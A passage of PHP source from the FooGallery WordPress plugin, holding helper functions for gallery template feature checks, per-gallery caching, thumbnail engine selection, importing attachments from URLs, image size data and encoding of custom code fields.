!function_exists( 'WP_Filesystem' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if ( !WP_Filesystem( true ) ) { return false; } return $wp_filesystem; } /** * Returns a formatted date * * @param $timestamp * @param string $format * * @return string */ function foogallery_format_date( $timestamp, $format = null ) { if ( !$format ) { $format = get_option( 'date_format' ); } if ( function_exists( 'wp_date' ) ) { return wp_date( $format, $timestamp ); } else { $datetime = date_create( '@' . $timestamp ); $timezone = wp_timezone(); $datetime->setTimezone( $timezone ); return $datetime->format( $format ); } } /** * Shortcut method to safely check if the current gallery template supports a specific feature * * e.g. panel_support, preview_support, common_fields_support, lazyload_support, paging_support, filtering_support * * @param $feature_to_check * @param bool $value_to_check * * @return bool */ function foogallery_current_gallery_check_template_has_supported_feature( $feature_to_check, $value_to_check = true ) { global $current_foogallery ; //get out early if there is no current gallery if ( !isset( $current_foogallery ) ) { return false; } //check if we have previously checked before recently if ( isset( $current_foogallery->supports ) && is_array( $current_foogallery->supports ) && array_key_exists( $feature_to_check, $current_foogallery->supports ) ) { return $current_foogallery->supports[$feature_to_check] === $value_to_check; } else { //check if we need to init the array if ( !isset( $current_foogallery->supports ) || !is_array( $current_foogallery->supports ) ) { $current_foogallery->supports = array(); } if ( !array_key_exists( $feature_to_check, $current_foogallery->supports ) ) { $template_object = foogallery_get_gallery_template( $current_foogallery->gallery_template ); if ( $template_object && is_array( $template_object ) && array_key_exists( $feature_to_check, $template_object ) ) { $current_foogallery->supports[$feature_to_check] = $template_object[$feature_to_check]; } else { //this is not stored against the template config, so assume it does not have the feature support $current_foogallery->supports[$feature_to_check] = false; } } return $current_foogallery->supports[$feature_to_check] === $value_to_check; } } /** * Checks to see if we have a cached value stored against the current gallery * Certain values are cached against the gallery if they have to be done multiple times, for example for each item in the gallery * * @param $cache_key * * @return bool */ function foogallery_current_gallery_has_cached_value( $cache_key ) { global $current_foogallery ; //get out early if there is no current gallery if ( !isset( $current_foogallery ) ) { return true; //this is to ensure we short-circuit having to calculate the cached value later } return isset( $current_foogallery->cached_values ) && is_array( $current_foogallery->cached_values ) && array_key_exists( $cache_key, $current_foogallery->cached_values ); } /** * Stores a value against the current gallery * * @param $cache_key * @param $cache_value */ function foogallery_current_gallery_set_cached_value( $cache_key, $cache_value ) { global $current_foogallery ; //get out early if there is no current gallery if ( !isset( $current_foogallery ) ) { return; } //check if we need to init the array if ( !isset( $current_foogallery->cached_values ) || !is_array( $current_foogallery->cached_values ) ) { $current_foogallery->cached_values = array(); } //store the value for later use $current_foogallery->cached_values[$cache_key] = $cache_value; } /** * Set the value of a cached value for the current gallery * * @param $cache_value * * @return mixed */ function foogallery_current_gallery_get_cached_value( $cache_value ) { global $current_foogallery ; //get out early if there is no current gallery if ( !isset( $current_foogallery ) ) { return false; } if ( isset( $current_foogallery->cached_values ) && is_array( $current_foogallery->cached_values ) && array_key_exists( $cache_value, $current_foogallery->cached_values ) ) { return $current_foogallery->cached_values[$cache_value]; } return false; } /** * functions related to thumbnail generation within FooGallery */ /** * Returns the array of available engines * * @return array */ function foogallery_thumb_available_engines() { $shortpixel_link = '<a href="https://shortpixel.com/otp/af/foowww" target="_blank">' . __( 'ShortPixel Adaptive Images', 'foogallery' ) . '</a>'; $engines = array( 'default' => array( 'label' => __( 'Default', 'foogallery' ), 'description' => __( 'The default engine used to generate locally cached thumbnails.', 'foogallery' ), 'class' => 'FooGallery_Thumb_Engine_Default', ), 'shortpixel' => array( 'label' => __( 'ShortPixel', 'foogallery' ), 'description' => sprintf( __( 'Uses %s to generate all your gallery thumbnails. They will be optimized and offloaded to the ShortPixel global CDN!', 'foogallery' ), $shortpixel_link ), 'class' => 'FooGallery_Thumb_Engine_Shortpixel', ), ); if ( foogallery_is_debug() ) { $engines['dummy'] = array( 'label' => __( 'Dummy', 'foogallery' ), 'description' => __( 'A dummy thumbnail engine that can be used for testing. (uses dummyimage.com)', 'foogallery' ), 'class' => 'FooGallery_Thumb_Engine_Dummy', ); } return apply_filters( 'foogallery_thumb_available_engines', $engines ); } /** * Returns the active thumb engine, based on settings * * @return FooGallery_Thumb_Engine */ function foogallery_thumb_active_engine() { global $foogallery_thumb_engine ; //if we already have an engine, return it early if ( isset( $foogallery_thumb_engine ) && is_a( $foogallery_thumb_engine, 'FooGallery_Thumb_Engine' ) ) { return $foogallery_thumb_engine; } $engine = foogallery_get_setting( 'thumb_engine', 'default' ); $engines = foogallery_thumb_available_engines(); if ( array_key_exists( $engine, $engines ) ) { $active_engine = $engines[$engine]; $foogallery_thumb_engine = new $active_engine['class'](); } else { $foogallery_thumb_engine = new FooGallery_Thumb_Engine_Default(); } return $foogallery_thumb_engine; } /** * Resizes a given image using the active thumb engine. * * @param $url * @param array $args * * @return string|void (string) url to the image */ function foogallery_thumb( $url, $args = array() ) { $engine = foogallery_thumb_active_engine(); return $engine->generate( $url, $args ); } /** * @param $url string * * @return string */ function foogallery_process_image_url( $url ) { return apply_filters( 'foogallery_process_image_url', $url ); } /** * Build up a link to be used in the admin with the correct utm parameters * * @param $url string The original full URL * @param $utm_campaign string The campaign or page that the link is on * @param null $utm_medium string The medium, so in this case we want to differentiate btw free and pro * @param null $utm_content string Optional extra data that can be used to differentiate between links in the same campaign * @param $utm_source string The platform where the traffic originates. Should probably always be wp_plugin * * @return string */ function foogallery_admin_url( $url, $utm_campaign, $utm_content = null, $utm_medium = null, $utm_source = 'wp_plugin' ) { if ( is_null( $utm_source ) ) { $utm_source = 'wp_plugin'; } if ( is_null( $utm_medium ) ) { if ( foogallery_is_pro() ) { $utm_medium = 'foogallery_pro'; } else { $utm_medium = 'foogallery_free'; } } $params = array( 'utm_source' => $utm_source, 'utm_medium' => $utm_medium, 'utm_campaign' => $utm_campaign, ); if ( !is_null( $utm_content ) ) { $params['utm_content'] = $utm_content; } return add_query_arg( $params, $url ); } /** * Determines the best lightbox to use for a demo gallery * * @return string */ function foogallery_demo_content_determine_best_lightbox() { if ( foogallery_is_pro() ) { return 'foogallery'; } return 'foobox'; } /** * Returns true if on the plugin activation page * * @return bool */ function foogallery_is_activation_page() { $fs = foogallery_fs(); return $fs->is_activation_page(); } /** * Render an array of debug info * * @param array $array an array of data to render. */ function foogallery_render_debug_array( $array, $level = 0 ) { foreach ( $array as $key => $value ) { if ( !empty($value) ) { if ( $level > 0 ) { echo esc_html( str_repeat( ' ', $level ) ) ; } echo esc_html( $key ) . ' => ' ; if ( is_array( $value ) ) { echo "\r\n" ; foogallery_render_debug_array( $value, $level + 1 ); } else { echo esc_html( $value ) ; echo "\r\n" ; } } } } /** * Insert a new attachment from a URL. * * @param array $attachment_data The image attachment data. * * @return false|int|WP_Error */ function foogallery_import_attachment( $attachment_data ) { // Include image.php so we can call wp_generate_attachment_metadata(). require_once ABSPATH . 'wp-admin/includes/image.php'; // Get the contents of the picture. $response = wp_remote_get( $attachment_data['url'] ); if ( is_wp_error( $response ) ) { return $response; } $contents = wp_remote_retrieve_body( $response ); // Upload and get file data. $upload = wp_upload_bits( basename( $attachment_data['url'] ), null, $contents ); if ( array_key_exists( 'error', $upload ) && false !== $upload['error'] ) { return new WP_Error( 'foogallery_import_attachment_upload_fail', $upload['error'] ); } $guid = $upload['url']; $file = $upload['file']; $file_type = wp_check_filetype( basename( $file ), null ); // Create attachment. $attachment_args = array( 'ID' => 0, 'guid' => $guid, 'post_title' => $attachment_data['title'], 'post_excerpt' => $attachment_data['caption'], 'post_content' => ( isset( $attachment_data['description'] ) ? $attachment_data['description'] : '' ), 'post_date' => '', 'post_mime_type' => ( isset( $attachment_data['mime_type'] ) ? $attachment_data['mime_type'] : $file_type['type'] ), ); $attachment_args['meta_input'] = array(); if ( isset( $attachment_data['alt'] ) && !empty($attachment_data['alt']) ) { $attachment_args['meta_input']['_wp_attachment_image_alt'] = $attachment_data['alt']; } if ( isset( $attachment_data['custom_url'] ) && !empty($attachment_data['custom_url']) ) { $attachment_args['meta_input']['_foogallery_custom_url'] = $attachment_data['custom_url']; } if ( isset( $attachment_data['custom_target'] ) && !empty($attachment_data['custom_target']) ) { $attachment_args['meta_input']['_foogallery_custom_target'] = $attachment_data['custom_target']; } // Save the original URL, so that we do not import it again! $attachment_args['meta_input']['_foogallery_imported_from'] = $attachment_data['url']; // Insert the attachment. $attachment_id = wp_insert_attachment( $attachment_args, $file, 0, true ); if ( is_wp_error( $attachment_id ) ) { return $attachment_id; } $attachment_meta = wp_generate_attachment_metadata( $attachment_id, $file ); wp_update_attachment_metadata( $attachment_id, $attachment_meta ); if ( isset( $attachment_data['tags'] ) && is_array( $attachment_data['tags'] ) && count( $attachment_data['tags'] ) > 0 ) { if ( taxonomy_exists( FOOGALLERY_ATTACHMENT_TAXONOMY_TAG ) ) { // Save tags. wp_set_object_terms( $attachment_id, $attachment_data['tags'], FOOGALLERY_ATTACHMENT_TAXONOMY_TAG, false ); } } if ( isset( $attachment_data['categories'] ) && is_array( $attachment_data['categories'] ) && count( $attachment_data['categories'] ) > 0 ) { if ( taxonomy_exists( FOOGALLERY_ATTACHMENT_TAXONOMY_CATEGORY ) ) { // Save categories. wp_set_object_terms( $attachment_id, $attachment_data['categories'], FOOGALLERY_ATTACHMENT_TAXONOMY_CATEGORY, false ); } } return $attachment_id; } /** * Returns an array of data associated with the attachment, including full size image URL, full size width and height. * * @param int $attachment_id The attachment ID. * * @return array|false */ function foogallery_get_full_size_image_data( $attachment_id ) { // Get the URL to the full size image. $src = wp_get_attachment_url( $attachment_id ); // If we cannot get an attachment URL, then get out early. if ( false === $src ) { return false; } // First try to get the image metadata. $image_data = wp_get_attachment_metadata( $attachment_id ); if ( !is_array( $image_data ) ) { $image_data = wp_get_attachment_image_src( $attachment_id, 'full' ); } if ( is_array( $image_data ) ) { $width = $image_data['width']; $height = $image_data['height']; } else { // If nothing is stored in meta, then get the size from the physical file. Not ideal, but might be needed in some cases. list( $width, $height ) = wp_getimagesize( $src ); } return array( $src, $width, $height ); } /** * Generate an SVG image placeholder * * @param $w * @param $h * * @return string */ function foogallery_get_svg_placeholder_image( $w, $h ) { return 'data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22' . $w . '%22%20height%3D%22' . $h . '%22%20viewBox%3D%220%200%20' . $w . '%20' . $h . '%22%3E%3C%2Fsvg%3E'; } /** * Extracts the gallery ID from a full gallery ID * * @param $full_gallery_id * * @return int */ function foogallery_extract_gallery_id( $full_gallery_id ) { preg_match_all( '/^.*?(\\d+?)(?:_|$)/', $full_gallery_id, $matches ); if ( is_array( $matches ) ) { return intval( $matches[1][0] ); } return 0; } /** * Return the index of a specific section with the gallery template fields array * * @param $fields * @param $section * * @return int */ function foogallery_admin_fields_find_index_of_section( $fields, $section ) { $index = 0; foreach ( $fields as $field ) { if ( isset( $field['section'] ) && $section === $field['section'] ) { return $index; } $index++; } return $index; } /** * Return the index of a specific field within the gallery template fields array * * @param $fields * @param $field_id * * @return int */ function foogallery_admin_fields_find_index_of_field( $fields, $field_id ) { $index = 0; foreach ( $fields as $field ) { if ( isset( $field['id'] ) && $field_id === $field['id'] ) { return $index; } $index++; } return $index; } /** * Returns the path of the URL * * @param $url * * @return false|string */ function foogallery_local_url_to_path( $url ) { return FooGallery_Thumb_Generator::get_file_path( $url ); } /** * Sanitizes a code field for saving to the database. * * @param string $text * * @return false|string */ function foogallery_sanitize_code( $text ) { if ( !empty($text) ) { $text = wp_check_invalid_utf8( $text, true ); $text = htmlentities( $text ); return apply_filters( 'foogallery_sanitize_code', $text ); } return false; } /** * Prepares a code field for use after it has been sanitized. * * @param string $text * * @return false|string */ function foogallery_prepare_code( $text ) { if ( !empty($text) ) { $text = html_entity_decode( $text ); return apply_filters( 'foogallery_prepare_code', $text ); } return false; }